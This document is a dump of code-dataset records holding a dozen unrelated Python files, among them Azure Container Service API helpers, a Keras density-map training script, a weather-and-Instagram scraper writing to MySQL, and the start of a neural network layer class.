Profile\n\t\tfields = [\n\t\t\"image\",\n\t\t]\n\n\n\t\tlabels = {\n\t\t'image': _('Choose Your Photo'),\n\t\t}\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"src/profiles/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1256,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"79770261","text":"# acs.py - azurerm functions for the Azure Container Service\nimport json\nfrom .restfns import do_delete, do_get, do_put\nfrom .settings import get_rm_endpoint, ACS_API\n\n\n# create_container_service(access_token, subscription_id, resource_group, service_name, \\\n# agent_count, agent_vm_size, agent_dns, master_dns, admin_user, public_key, location, \\\n# master_count=3, orchestrator='DCOS', app_id=None, app_secret=None)\n# create a new container service - includ app_id and app_secret if using Kubernetes\ndef create_container_service(access_token, subscription_id, resource_group, service_name, \\\n agent_count, agent_vm_size, agent_dns, master_dns, admin_user, public_key, location, \\\n master_count=3, orchestrator='DCOS', app_id=None, app_secret=None):\n endpoint = ''.join([get_rm_endpoint(),\n '/subscriptions/', subscription_id,\n '/resourcegroups/', resource_group,\n '/providers/Microsoft.ContainerService/ContainerServices/', service_name,\n '?api-version=', ACS_API])\n acs_body = {'location': location }\n properties = {'orchestratorProfile': { 'orchestratorType': orchestrator}}\n properties['masterProfile'] = {'count': master_count, 'dnsPrefix': master_dns}\n ap_profile = {'name': 'AgentPool1'}\n ap_profile['count'] = agent_count\n ap_profile['vmSize'] = agent_vm_size\n ap_profile['dnsPrefix'] = agent_dns\n properties['agentPoolProfiles'] = [ap_profile]\n linux_profile = {'adminUsername': admin_user}\n linux_profile['ssh'] = {'publicKeys': [{'keyData': public_key}]}\n properties['linuxProfile'] = linux_profile\n if orchestrator == 'Kubernetes':\n sp_profile = {'ClientID': app_id}\n sp_profile['Secret'] = app_secret\n properties['servicePrincipalProfile'] = sp_profile\n acs_body['properties'] = properties\n body = json.dumps(acs_body)\n return do_put(endpoint, body, access_token)\n\n# delete_container_service(access_token, subscription_id, resource_group, container_service_name)\n# delete a named container service\ndef delete_container_service(access_token, subscription_id, resource_group, service_name):\n endpoint = ''.join([get_rm_endpoint(),\n '/subscriptions/', subscription_id,\n '/resourcegroups/', resource_group,\n '/providers/Microsoft.ContainerService/ContainerServices/', service_name,\n '?api-version=', ACS_API])\n return do_delete(endpoint, access_token)\n\n\n# get_container_service(access_token, subscription_id, resource_group, service_name)\n# get details about an Azure Container Server\ndef get_container_service(access_token, subscription_id, resource_group, service_name):\n endpoint = ''.join([get_rm_endpoint(),\n '/subscriptions/', subscription_id,\n '/resourcegroups/', resource_group,\n '/providers/Microsoft.ContainerService/ContainerServices/', service_name,\n '?api-version=', ACS_API])\n return do_get(endpoint, access_token)\n\n\n# list_acs_operations(access_token, subscription_id, resource_group)\n# list available Container Server operations\ndef list_acs_operations(access_token):\n endpoint = ''.join([get_rm_endpoint(),\n '/providers/Microsoft.ContainerService/operations',\n '?api-version=', ACS_API])\n return do_get(endpoint, access_token)\n\n\n# list_container_services(access_token, subscription_id, resource_grou)\n# list the container services in a resource group\ndef list_container_services(access_token, subscription_id, resource_group):\n endpoint = ''.join([get_rm_endpoint(),\n '/subscriptions/', subscription_id,\n '/resourcegroups/', resource_group,\n '/providers/Microsoft.ContainerService/ContainerServices',\n '?api-version=', ACS_API])\n return do_get(endpoint, access_token)\n\n\n# list_container_services_sub(access_token, subscription_id)\n# list the container services in a subscription\ndef list_container_services_sub(access_token, subscription_id):\n endpoint = ''.join([get_rm_endpoint(),\n '/subscriptions/', subscription_id,\n '/providers/Microsoft.ContainerService/ContainerServices',\n '?api-version=', ACS_API])\n return do_get(endpoint, access_token)\n","sub_path":"azurerm/acs.py","file_name":"acs.py","file_ext":"py","file_size_in_byte":4464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"369846138","text":"import pandas\nimport numpy as np\n\ndrinks = pandas.read_csv('all_drinks.csv')\n\nindexes = [1, 10, 11, 12, 13, 14, 15, 2, 3, 4, 5, 6, 7, 8, 9]\n\ningredients = {}\n\nfor i in indexes:\n for row in drinks['strIngredient' + str(i)]:\n if not pandas.isnull(row):\n ingredients[row] = 1\n\ncategories = {}\nfor row in drinks['strCategory']:\n categories[row] = 1\n\nval = 0\nfor key, value in ingredients.items():\n ingredients[key] = val\n val += 1\n\nval = 0\nfor key, value in categories.items():\n categories[key] = val\n val += 1\n\nthefile = open('ingredientsD.txt', 'w')\nfor key, value in ingredients.items():\n thefile.write(str(key) + \";\" + str(value) + \"\\n\")\n\nthefile2 = open('categoriesD.txt', 'w')\nfor key, value in categories.items():\n thefile2.write(str(key) + \";\" + str(value) + \"\\n\")\n\nmain = []\nlinkIngDrink = []\n\nfor index, row in drinks.iterrows():\n new_row = [index,\n row['strDrink'] if 'strDrink' in row else None,\n categories[row['strCategory']] if 'strCategory' in row else None,\n row['strDrinkThumb'] if 'strDrinkThumb' in row else None,\n row['strInstructions'] if 'strInstructions' in row else None\n ]\n new_link_set = []\n for i in indexes:\n i1 = 'strIngredient' + str(i)\n if i1 in row:\n if row[i1] != \"\" and not pandas.isnull(row[i1]) and not pandas.isnull(row['strMeasure' + str(i)]):\n new_link_set += [[index, ingredients[row[i1]], row['strMeasure' + str(i)]]]\n\n main += [new_row]\n for f in new_link_set:\n linkIngDrink += [f]\n\nthefile3 = open('Drinks.txt', 'w')\nfor value in main:\n thefile3.write(';'.join([str(i) for i in value]) + \"\\n\")\n\nthefile4 = open('linkD.txt', 'w')\nfor value in linkIngDrink:\n text = ';'.join([str(i) for i in value])\n if text.endswith(\"\\n\"):\n text = text[:-1]\n if text != \"\":\n thefile4.write(text + \"\\n\")\n","sub_path":"data/parserDrinks.py","file_name":"parserDrinks.py","file_ext":"py","file_size_in_byte":1926,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"547309336","text":"# -*- coding: utf-8 -*-\n\"\"\"\nAuteurs : Valentin Noel et Romain Pascual\nInterface\n\"\"\"\nfrom Test import *\nfrom os import listdir\nfrom os.path import isfile, join\n\ndef getAllFiles(path):\n \"\"\"Renvoie tous les fichiers dans le dossier path\"\"\"\n l = []\n for f in listdir(path):\n if isfile(join(path, f)):\n l.append(f)\n else:\n if f[:13] != \"sans_solution\" and f[:8] != \"solution\":\n l += [join(f, f1) for f1 in getAllFiles(join(path, f))]\n return l\n\n\n\"\"\"test = Test()\ntest.go()\"\"\"\n\nimg_picross = input(\"Voulez-vous générer un picross à partir d'une image, ou résoudre un picross ? (gen/res)\")\nif img_picross == \"gen\":\n liste_images = getAllFiles(\"images\")\n print(\"\\nChoisissez un fichier image : \")\n for file in liste_images:\n print(file)\n n_file = input(\"\\nVotre choix ? \")\n if n_file in liste_images:\n taille = int(input(\"Taille ? \"))\n path = os.path.join(\"images\", n_file)\n image = MyImage()\n print(\"\\nChargement de l'image\")\n image.fromFile(path)\n print(\"\\nCreation du picross\")\n picross = image.toPicross(taille, taille)\n path = os.path.join(\"picross\", \"picross_image\", n_file.split(\".\")[0]+\".txt\")\n picross.save(path)\n print(\"\\nImage enregistree dans \"+path)\n else:\n print(\"\\nFichier inconnu\")\nelif img_picross == \"res\":\n liste_picross = getAllFiles(\"picross\")\n print(\"\\nChoisissez un fichier picross : \")\n for file in liste_picross:\n print(file)\n n_file = input(\"\\nVotre choix ? \")\n if n_file in liste_picross:\n path = os.path.join(\"picross\", n_file)\n print(path)\n picross = Picross()\n picross.fromFile(path)\n picross.solve()\n print(\"\\nFichier Resolu dans \"+os.path.join(\"trash\", \"tempSolution.txt\"))\n else:\n print(\"\\nFichier inconnu\")\nelse:\n print(\"\\nCommande inconnue\")\nprint(\"\\nfin\")\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"301148186","text":"# -*- coding: utf-8 -*-\nfrom __future__ import print_function\nimport numpy as np\nimport cv2\nimport argparse\n\nfrom mylib.cv2_tools import *\n\ndef resize_img(img, mag):\n height = img.shape[0]\n width = img.shape[1]\n resized_size = (int(height * mag), int(width * mag))\n resized_img = cv2.resize(img, resized_size, interpolation=cv2.INTER_NEAREST)\n return resized_img\n\ndef save_resized_img(src_img_path, mag, dst_img_path):\n src_img = cv2.imread(src_img_path, -1)\n dst_img = resize_img(src_img, mag)\n # display_img(dst_img)\n cv2.imwrite(dst_img_path, dst_img)\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='画像を上下左右にシフトさせる')\n parser.add_argument('src_img_path', action='store', nargs=None, type=str, choices=None, \\\n help='入力画像のパス')\n parser.add_argument('mag', action='store', nargs=None, type=float, choices=None, \\\n help='倍率')\n parser.add_argument('dst_img_path', action='store', nargs=None, type=str, choices=None, \\\n help='出力画像のパス')\n args = parser.parse_args()\n save_resized_img(args.src_img_path, args.mag, args.dst_img_path)\n","sub_path":"mylib/process_img/resize_img.py","file_name":"resize_img.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"194150066","text":"from __future__ import print_function\nimport numpy as np\nfrom scipy.special import erf\nimport multiprocessing\nfrom functools import partial\nimport sys, io, time\nimport pickle, pdb\nimport time\n\ndef parallel_pre_compute (i, k, bw, events, Aij, pre_compute_map, pre_compute_Aij):\n nu = - 0.01\n N = len(events)\n s = 0.0\n ik = events[k][0]\n for n in range(k + 1, N):\n prod1 = (np.exp(nu * (events[n][1] - events[k][1])) - np.exp(nu *\n (events[n - 1][1] -\n events[k][1]))) / nu\n prod2 = erf((events[n][2] - events[k][2]) / np.sqrt(2 * bw[i])) - erf((\n events[n - 1][2] - events[k][2]) / np.sqrt(2 * bw[i]))\n prod3 = erf((events[n][3] - events[k][3]) / np.sqrt(2 * bw[i])) - erf((\n events[n - 1][3] - events[k][3]) / np.sqrt(2 * bw[i]))\n s = s + (prod1 * prod2 * prod3) / 4.0\n\n return [ik, s]\n\ndef mycallback(ret, i, k, Aij, pre_compute_map, pre_compute_Aij, div1):\n ik = ret[0]\n s = ret[1]\n i = i - div1\n pre_compute_map[(i,k)] = s\n pre_compute_Aij[(i,k)] = Aij[(i,ik)]\n\n\ndef pre_compute():\n [U, bw, events, Aij] = pickle.load(open(\"pre_compute.p\", \"rb\" ))\n all_sig = pickle.load(open(\"SA_1_Sig.p\", \"rb\"))\n \n div1 = sys.argv[1]\n div2 = sys.argv[2]\n \n nu = - 0.01\n N = len(events)\n Aij = np.reshape(Aij, (U, U))\n\n if(div2 == 'end'):\n div2 = U\n\n div1 = int(div1)\n div2 = int(div2)\n\n pre_compute_map = np.zeros((div2 - div1,N))\n pre_compute_Aij = np.zeros((div2 - div1,N))\n\n for i in range(div1, div2):\n pool = multiprocessing.Pool(20)\n for k in range(0, N-1):\n ik = events[k][0]\n if(ik not in all_sig[i]):\n new_callback_function = partial(mycallback, i=i, k=k, Aij=Aij, pre_compute_map=pre_compute_map, pre_compute_Aij=pre_compute_Aij, div1=div1)\n pool.apply_async(parallel_pre_compute, args=(i, k, bw, events, Aij, pre_compute_map, pre_compute_Aij), callback=new_callback_function)\n\n else:\n pre_compute_map[(i-div1,k)] = 0\n pre_compute_Aij[(i-div1,k)] = 0 \n\n pool.close()\n pool.join()\n \n np.savetxt('Pre_Files/pre_compute_map_'+str(div1)+'.txt', pre_compute_map, delimiter=' ', fmt='%.5f')\n np.savetxt('Pre_Files/pre_compute_Aij_'+str(div1)+'.txt', pre_compute_Aij, delimiter=' ', fmt='%.5f')\n # print(pre_compute_map)\n # return (pre_compute_map, pre_compute_Aij)\n\nif __name__ == '__main__':\n # t0 = time.time()\n pre_compute()\n # t1 = time.time()\n\n # total = t1-t0\n # print(\"Total time taken\", total)\n","sub_path":"precompute_text.py","file_name":"precompute_text.py","file_ext":"py","file_size_in_byte":2721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"555457795","text":"#!/usr/bin/env python\n\nimport argparse\nimport os\nimport random\nimport inspect\n\nimport pandas as pd\nimport numpy as np\n\nimport cv2\nfrom PIL import Image\nfrom density_image import density_image\n\nfrom keras.callbacks import ModelCheckpoint, EarlyStopping, History, \\\n TensorBoard, CSVLogger\nimport keras.models as models\nfrom keras import losses\n\ndef iterate(data_directory, windows, dots, downsample, sigma, shuffle=True):\n if shuffle:\n windows = windows.sample(frac=1)\n \n patch_ids = windows.index.values\n img_ids = windows['img_id'].values\n xs = windows['x'].values\n ys = windows['y'].values\n\n num_labels = len(dots['label'].cat.categories)\n\n for patch_id, img_id, x, y in zip(patch_ids, img_ids, xs, ys):\n # Open up the image\n image_filename = os.path.join( \\\n data_directory, 'patches', \\\n '%d.tga' % patch_id)\n image = Image.open(image_filename)\n image = image.convert('RGB')\n image = np.asarray(image, 'uint8')\n image = np.float32(image) / 127.5 - 1\n \n # Find dots in this patch\n patch_dots = dots[dots['img_id'] == img_id]\n patch_xs = (np.float32(patch_dots['x'].values) - x) / downsample\n patch_ys = (np.float32(patch_dots['y'].values) - y) / downsample\n patch_labels = patch_dots['label'].cat.codes\n\n # Compute density\n density_shape = (image.shape[0] // downsample, \\\n image.shape[1] // downsample, \\\n num_labels)\n density = np.empty(density_shape, np.float32)\n for code in range(num_labels):\n mask = patch_labels == code\n pts = patch_xs[mask, None], patch_ys[mask, None]\n pts = np.concatenate(pts, axis=1)\n density[..., code] = density_image(pts, density_shape[: -1], sigma / downsample)\n\n # Random flips + transpose\n if random.random() > .5:\n image = np.flipud(image)\n density = np.flipud(density)\n if random.random() > .5:\n image = np.fliplr(image)\n density = np.fliplr(density)\n if random.random() > .5:\n image = np.rot90(image)\n density = np.rot90(density)\n\n yield image, (density, np.sum(density, axis=(0, 1)))\n\ndef batches(create_iterator, batch_size):\n while True:\n inputs_batch = None\n outputs_batch = None\n\n for inputs, outputs in create_iterator():\n # Append to inputs buffer\n if isinstance(inputs, tuple):\n if inputs_batch is None:\n inputs_batch = tuple([element] for element in inputs)\n else:\n for batch, element in zip(inputs_batch, inputs):\n batch.append(element)\n else:\n if inputs_batch is None:\n inputs_batch = [inputs]\n else:\n inputs_batch.append(inputs)\n\n # Append to outputs buffer\n if isinstance(outputs, tuple):\n if outputs_batch is None:\n outputs_batch = tuple([element] for element in outputs)\n else:\n for batch, element in zip(outputs_batch, outputs):\n batch.append(element)\n else:\n if outputs_batch is None:\n outputs_batch = [outputs]\n else:\n outputs_batch.append(outputs)\n\n if len(inputs_batch) >= batch_size:\n if isinstance(inputs_batch, tuple):\n inputs_batch = [np.array(batch) for \\\n batch in inputs_batch]\n else:\n inputs_batch = np.array(inputs_batch)\n\n if isinstance(outputs_batch, tuple):\n outputs_batch = [np.array(batch) \\\n for batch in outputs_batch]\n else:\n outputs_batch = np.array(outputs_batch)\n\n yield inputs_batch, outputs_batch\n inputs_batch = None\n outputs_batch = None\n\n if inputs_batch is not None:\n if isinstance(inputs_batch, tuple):\n inputs_batch = [np.array(batch) \\\n for batch in inputs_batch]\n else:\n inputs_batch = np.array(inputs_batch)\n\n if isinstance(outputs_batch, tuple):\n outputs_batch = [np.array(batch) \\\n for batch in outputs_batch]\n else:\n outputs_batch = np.array(outputs_batch)\n\n yield inputs_batch, outputs_batch\n inputs_batch = None\n outputs_batch = None\n\ndef create_generators(data_directory, downsample, sigma, batch_size):\n # Read in the dots\n dots = pd.read_csv(os.path.join(data_directory, 'dots.csv'))\n dots['label'] = dots['label'].astype('category')\n\n # Read in windows\n windows = pd.read_csv(os.path.join(data_directory, 'windows.csv'))\n \n # Open training/validation split\n in_train_filename = os.path.join(data_directory, 'in_train.csv')\n in_train = pd.read_csv(in_train_filename, index_col=0)\n train_img_ids = in_train.index[in_train['in_train']].values\n val_img_ids = in_train.index[~in_train['in_train']].values\n \n # Split dots using splitted image ids\n train_dots = dots[dots['img_id'].isin(train_img_ids)]\n val_dots = dots[dots['img_id'].isin(val_img_ids)]\n \n # Split windows using splitted image ids\n train_windows = windows[windows['img_id'].isin(train_img_ids)]\n val_windows = windows[windows['img_id'].isin(val_img_ids)]\n\n # Create data generator\n create_train_iterator = lambda : iterate( \\\n data_directory, train_windows, train_dots, \\\n downsample, sigma, True)\n create_val_iterator = lambda : iterate( \\\n data_directory, train_windows, train_dots, \\\n downsample, sigma, True)\n train_generator = batches(create_train_iterator, batch_size)\n val_generator = batches(create_val_iterator, batch_size)\n train_batches = (len(train_windows) + batch_size - 1) \\\n // batch_size\n val_batches = (len(val_windows) + batch_size - 1) \\\n // batch_size\n\n return train_generator, val_generator, train_batches, val_batches\n\nif __name__ == '__main__':\n p = argparse.ArgumentParser()\n p.add_argument('data_directory')\n p.add_argument('model')\n p.add_argument('density_scale', type=int)\n p.add_argument('sigma', type=float)\n\n p.add_argument('--history')\n \n p.add_argument('--batch_size', default=4, type=int)\n p.add_argument('--epochs', default=64, type=int)\n \n p.add_argument('--cont', action='store_true')\n args = p.parse_args()\n \n train_generator, val_generator, train_batches, val_batches = \\\n create_generators(args.data_directory, \\\n args.density_scale, args.sigma, args.batch_size)\n \n # Setup callbacks\n early_stopping = EarlyStopping(patience=5, verbose=2)\n model_checkpoint = ModelCheckpoint(args.model, save_best_only=True, verbose=2)\n callbacks = [early_stopping, model_checkpoint]\n if args.history is not None:\n csv_logger = CSVLogger(args.history, append=True)\n callbacks.append(csv_logger)\n \n # Load model\n custom_objects = dict(inspect.getmembers(losses, inspect.isfunction))\n model = models.load_model(args.model, custom_objects=custom_objects)\n model.summary()\n\n # Get score\n if args.cont:\n losses = model.evaluate_generator(val_generator, val_batches)\n val_loss_idx = model.metrics_names.index('loss')\n print('Loaded model with: %s' % ' - '.join( \\\n 'val_%s: %0.4f' % (metric_name, loss) \\\n for metric_name, loss in zip(model.metrics_names, losses)))\n \n # Update callbacks\n model_checkpoint.best = losses[val_loss_idx]\n early_stopping.best = losses[val_loss_idx]\n \n model.fit_generator(train_generator, \\\n train_batches, \\\n epochs=args.epochs, \\\n callbacks=callbacks, \\\n validation_data=val_generator, \\\n validation_steps=val_batches)\n\n","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":8273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"113114399","text":"#!/usr/bin/env python3\n# Create a program that asks the user to enter their name and their age. Print out a message addressed to them that tells them the year that they will turn 100 years old.\n\n# Extras:\n\n# Add on to the previous program by asking the user for another number and printing out that many copies of the previous message. (Hint: order of operations exists in Python)\n# Print out that many copies of the previous message on separate lines. (Hint: the string \"\\n is the same as pressing the ENTER button)\nimport datetime\nfrom dateutil.relativedelta import relativedelta\n\ndef age_calc(name,age):\n year = datetime.date.today()\n total_years = 100 - age\n hundred_years = year + relativedelta(years=total_years)\n return hundred_years.strftime('%Y')\n\n\ndef main():\n name = input('What is your name?\\n')\n age = int(input('\\nWhat is your age?\\n'))\n print(f'\\n{name}, you said you are {age} years old.\\n')\n answer_year = age_calc(name,age)\n print(f'You will turn 100 in {answer_year}\\n')\n repeater = int(input('How many times would you like to see this message again?\\n'))\n print(repeater * f'You will turn 100 in {answer_year}\\n')\n\nif __name__ == '__main__':\n main()","sub_path":"ex_1.py","file_name":"ex_1.py","file_ext":"py","file_size_in_byte":1205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"362525914","text":"#!/usr/bin/python\nimport requests\nimport datetime\nimport subprocess\nimport os\nfrom bs4 import BeautifulSoup\nimport pymysql\n\ncur = datetime.datetime.now()\nyear = str(cur.year)\nmonth = str(cur.month)\nday = str(cur.day)\ntime = str(cur.hour)\npath = year + month + day + \"_\" + time\ncloth_dict = {'coat':'wc_1', 'padding':'wc_2', 'jackets':'wc_3', 'longpants':'wc_4', 'shortpants':'wc_5', 'cardigan':'wc_6','longsleeve':'wc_7','shortsleeve':'wc_8','knit':'wc_9','sweatshirts':'wc_10','sleeveless':'wc_11'}\n\nheaders={'user-agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'}\nurl = 'https://www.google.com/search?ei=Su-zXZqmMsCLr7wPxLuLKA&q=%EC%84%9C%EC%9A%B8%EB%82%A0%EC%94%A8&oq=%EC%84%9C%EC%9A%B8%EB%82%A0%EC%94%A8&gs_l=psy-ab.3..0i131i67j0l5j0i67j0j0i67j0.25579.27206..27676...1.4..2.430.1977.0j8j2j0j1......0....1..gws-wiz.......0i71j0i10j0i131j0i7i30j38.OaEgK4bGiw4&ved=0ahUKEwia872wrbnlAhXAxYsBHcTdAgUQ4dUDCAs&uact=5'\nres = requests.get(url, headers=headers)\ntext = res.text\nsoup = BeautifulSoup(text,'html.parser')\ntemperature = int(soup.find('span', class_='wob_t').text)\nwind_speed = int(soup.find('span', id='wob_ws').text.split('m')[0])\n\n\nprint(datetime.datetime.now())\nprint(\"temperature:\", temperature, \" windspeed:\", wind_speed)\n\n\ndef get_insta_img():\n try:\n os.mkdir(path)\n except OSError:\n print (\"Creation of the directory %s failed\" % path)\n else:\n print (\"Successfully created the directory %s \" % path)\n try:\n subprocess.call([\"instalooter\", \"hashtag\", \"데일리룩코디\", path], timeout = 20)\n except:\n print(\"time expired\")\n\n\ndef run_inception():\n from subprocess import check_output\n from os import listdir\n from os.path import isfile, join\n clothes=[]\n images = [f for f in listdir(path) if isfile(join(path, f))]\n\n for img in images:\n img = str(img).strip()\n out = check_output([\"ls\", \"-alh\", img], cwd=path)\n img_month = out.split()[5].decode('utf-8')\n img_day = out.split()[6].decode('utf-8')\n img_hour = out.split()[7].decode('utf-8').split(\":\")[0]\n if month == img_month and day == img_day and img_hour == time:\n try:\n img_path = path + \"/\" + str(img)\n res = check_output([\"python3\",\"label_image.py\",img_path], stderr=None).decode('utf-8')\n temp_cloth = res.split(\":\")[0]\n predict_score = res.split(\":\")[2].split()[0]\n if float(predict_score) >= 0.6 :\n clothes.append(temp_cloth)\n else:\n continue\n except Exception as e:\n print(e)\n print(clothes)\n return clothes\n\n\ndef fill_database():\n conn = pymysql.connect(host='****', user='wcmain', password='*****',\n db='wcmain', charset='utf8')\n curs = conn.cursor(pymysql.cursors.DictCursor)\n\n try:\n sql = \"select * from wc where wc_avg=%s and wc_wind=%s\"\n curs.execute(sql, (temperature, wind_speed))\n rows = curs.fetchall()\n\n if not rows:\n add_key = \"insert into wc(wc_avg, wc_wind) values (%s, %s)\"\n curs.execute(add_key, (temperature, wind_speed))\n\n cloth_keys = run_inception()\n for key in cloth_keys:\n selected_cloth = cloth_dict[key]\n sql2 = \"UPDATE wc SET \" + selected_cloth + \" = \" + selected_cloth + \"+1 WHERE wc_avg = %s and wc_wind= %s\"\n curs.execute(sql2, (temperature, wind_speed))\n conn.commit()\n\n except Exception as e:\n print(e)\n finally:\n conn.close()\n\n\nif __name__ == '__main__':\n\n print('--------------get_insta_img start--------------')\n get_insta_img()\n print('--------------get_insta_img end--------------')\n\n\n print('--------------run Inception and fill [wc] table start--------------')\n fill_database()\n print('--------------run Inception and fill [wc] table--------------')\n\n # delete 시간 폴더\n","sub_path":"sys.py","file_name":"sys.py","file_ext":"py","file_size_in_byte":3980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"141409470","text":"from .MobilePhone import MobilePhone\nfrom .SmartPhone import SmartPhone\nimport pickle\n\nclass Shop:\n \n shop = []\n \n def __init__(self):\n pass\n \n def insert_MobilePhone(self):\n mobile_phone = MobilePhone()\n self.shop.append(mobile_phone)\n print(\"Мобильный телефон добавлен!\")\n\n def insert_SmartPhone(self):\n smart_phone = SmartPhone()\n self.shop.append(smart_phone)\n print(\"Смартфон добавлен!\")\n\n def edit_phone(self):\n if self.shop:\n self.display_shop()\n k = int(input(\"Введите номер телефона для редактирования:\"))\n if k > len(self.shop):\n print(\"Число больше допустимого!\")\n else:\n self.shop[k-1].set_data()\n else:\n print(\"Телефона нет в магазине!\") \n\n def delete_phone(self):\n if self.shop:\n self.display_shop()\n k = int(input(\"Введите номер телефона:\"))\n if k > len(self.shop):\n print(\"Число больше допустимого!\")\n else: \n self.shop.pop(k-1)\n print(\"Телефон номер \", k, \" удален!\")\n else:\n print(\"Телефона нет в магазине!\")\n \n def display_shop(self):\n if not self.shop:\n print(\"Телефона нет в магазине!\")\n else: \n for i in range (0, len(self.shop)):\n print(\"Телефон номер \", i+1)\n self.shop[i].display_data()\n\n def read_from_file(self):\n try:\n file = open('mobile_phone_shop.dat', 'rb')\n self.shop = pickle.load(file) \n print(\"Выполнено!\")\n file.close()\n except FileNotFoundError:\n print('\\nФайл не существует')\n\n def write_to_file(self):\n file = open('mobile_phone_shop.dat', 'wb')\n pickle.dump(self.shop, file) \n print(\"Выполнено!\")\n file.close() \n \n def clear_shop(self):\n self.shop.clear()\n print(\"Магазин пустой!\")\n \n","sub_path":"st29/shop.py","file_name":"shop.py","file_ext":"py","file_size_in_byte":2328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"258294593","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun May 24 13:05:04 2020\n\n@author: terrylines\n\"\"\"\n\nfrom osgeo import ogr, gdal, osr\n\n# make errors raise exceptions.\ngdal.UseExceptions()\nogr.UseExceptions()\nosr.UseExceptions()\n\n\n####Some test attributes\nobserver_time=\"na\"\nsvid=\"tbd\"\nLLA=(-0.13453,51.52465,80)\ndef getSvidLocation(time,svid):\n #returns WGS84 cartesian co-ordinates of the svid at the given time (time format?)\n #currently return position of G15 on 11/02/2020 at 12.30\n return (22893939.149,593414.779,13458380.448)\n\n\ndef isLOS(self,observer_time, svid, *LLA):\n svid_position = getSvidLocationBNG(observer_time,svid)\n if svid_position[2] < 0: \n return False #below horizon\n observer_position = getObserverLocationBNG(LLA)\n line = convertToLine(observer_position, svid_position)\n return line.Intersects(self.map)\n \ndef getSvidLocationBNG(time,svid):\n #returns SVID position (projected to a bounding box to ensure validity of Helmert transform) in British National Grid co-ordinates.\n EPSG_WGS84_CART=4978\n EPSG_BNG=27700\n svid_position = getSvidLocation(time,svid) \n bounded_position = clip(svid_position)\n transformed_position = reproject(bounded_position,EPSG_WGS84_CART,EPSG_BNG)\n return transformed_position\n\ndef getObserverLocationBNG(position):\n EPSG_WGS84=4979\n EPSG_BNG=27700 \n return reproject(position,EPSG_WGS84,EPSG_BNG)\n\ndef convertToLine(start_position,end_position):\n line = ogr.Geometry(ogr.wkbLineString)\n line.AddPoint(*start_position)\n line.AddPoint(*end_position)\n return line\n \ndef isIntersecting(line,polygon):\n return \n\n\n\ndef setMap(self):\n #currently hardcoded to UCL quad. BNG crs.\n with open(\"/Users/terrylines/Documents/GNSS/map/UCL.csv\") as f:\n wkt=f.read()\n \n poly=ogr.CreateGeometryFromWkt(wkt)\n self.Map = poly.GetBoundary()\n\ndef clip(position):\n #clips position to a 3D bounding box of 100km surrounding London \n ORIGIN = (3980000,-10000,4970000) #London (WGS84 cartesian co-ordinates)\n BBOX_SIDE_LENGTH = 100000\n delta = [p - q for p,q in zip(position, ORIGIN)]\n scale = BBOX_SIDE_LENGTH / max(abs(i) for i in delta)\n return tuple(p + q * scale for p,q in zip(ORIGIN, delta))\n\ndef reproject(coordinates,source,target):\n #reproject point coords given as EPSG refs\n crs_source = osr.SpatialReference()\n crs_source.ImportFromEPSG(source)\n crs_target = osr.SpatialReference()\n crs_target.ImportFromEPSG(target)\n transformer = osr.CoordinateTransformation(crs_source,crs_target)\n \n point = ogr.Geometry(ogr.wkbPoint)\n point.AddPoint(*coordinates)\n point.Transform(transformer)\n \n return point.GetPoint()\n\n\n\n\n\n\n \n def __init__(self):\n self.position.AddPoint(529513,182286,33) #assumes BNG position\n\n \n ","sub_path":"src/simulation/isLos.py","file_name":"isLos.py","file_ext":"py","file_size_in_byte":2865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"634445444","text":"import numpy as np # For matrix math\nimport logging as log\nimport activation_functions\n\n'''\n Network_Layers class used for training and testing a neural network\n The following class supports:\n \n * intermediate layer created for training and testing\n - layers contain neuron values in the hidden layer for all sets\n of a given input data\n - an input matrix is seeded using initialise_input method\n - the apply_feed_forward method can propagate the input matrix to\n get all the respective neuron values\n\n * training using batch gradient descent\n - given output is compared to expected output to get error\n - this is then multiplied to the gradient descent of the layer value\n - delta = error * derivative(value) \n => error weighted sum\n => the use of the derivative is called gradient descent\n - error_prev = delta.dot(value_prev.Transpose)\n => getting error in previous layer using calculated delta\n - this process of getting delta to get error in prev layer is called backprop\n\n * selectable training rate\n - to adjust weights, we multiply each layer by their calculated delta\n - weights_new = weights_old * delta * training_rate\n - training rate determines how quickly the weights are changed\n => high training rate might cause the network to skip over the\n minimum error loss\n => low training rate will cause slow training times, and possibly\n cause the network to fall into a suboptimal local minima\n => itermediate training rate will result in normal training times\n and reduce likelyhood of falling into a local minima\n\n * selectable activation function\n - supports: sigmoid, inverse tan, relu, leaky relu\n - NOTE: relu and leaky_relu do not work\n - relu and leaky_relu have softmax applied to the final output neurons\n - inverse tan activation function is scaled horizontally and\n vertically so that neuron values fall within 0 and 1 to match\n network archeitecture\n\n * stores the loss history of the network as it is trained\n - the loss history will be appended to the provided array in arguments\n - this can later be graphed using the show_loss_history() method in\n the Neural_Network class in network_classes.py\n\n'''\nclass Network_Layers:\n def __init__(self, total_layers, function='sigmoid'):\n self.values = [0] * total_layers\n self.deltas = [0] * total_layers\n self.errors = [0] * total_layers\n self.total_layers = total_layers\n self.input_init = False\n 